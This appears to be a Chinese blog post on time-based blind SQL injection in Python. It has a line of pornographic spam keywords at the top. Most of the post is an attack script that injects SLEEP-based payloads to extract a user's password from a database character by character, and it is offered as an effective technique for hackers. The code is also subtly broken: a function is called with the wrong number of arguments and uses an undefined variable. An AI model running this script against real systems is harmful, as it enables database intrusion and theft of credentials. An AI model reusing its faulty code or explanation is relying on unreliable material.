色婷婷狠狠18禁久久YY,CHINESE性内射高清国产,国产女人18毛片水真多1,国产AV在线观看

python 時間盲注

傅智翔1年前9瀏覽0評論

時間盲注是一種利用注入漏洞獲取敏感信息的方法,其利用數據庫的延遲函數來判斷語句執行的時間。在 Python 中,我們可以使用 requests 庫和 pymysql 庫來實現這種攻擊。

import requests
import time
import string
url = 'http://example.com/test?id=1'
cookies = {'session_id': '1234567890'}
def check(payload):
s = requests.Session()
s.cookies.update(cookies)
start_time = time.time()
s.get(url + "' AND IF(SUBSTR((SELECT password FROM users WHERE id=1),{0},1)='{1}', SLEEP(3), 1)#".format(payload, x))
end_time = time.time()
return end_time - start_time >2
def exploit():
chars = string.printable.replace('%', '').replace('_', '')
password = ''
for i in range(1, 21):
for c in chars:
if check(i, c):
password += c
break
print('Password:', password)
exploit()

在這段代碼中,我們首先定義了一個 URL 和一個 cookie,然后定義了一個 check 函數來測試一個特定位置的字符是否為給定字符。如果該字符是正確的,check 函數將使腳本休眠 3 秒鐘來模擬服務器的響應時間。接下來,我們使用 for 循環遍歷字符串,嘗試每個字符來獲取完整的密碼。

Python 中的時間盲注需要一些耐心,因為它需要嘗試很多次才能成功。然而,它是一種非常有效的漏洞利用技術,可以讓黑客輕松地獲取數據庫中的機密信息。因此,在編寫代碼時,請務必小心。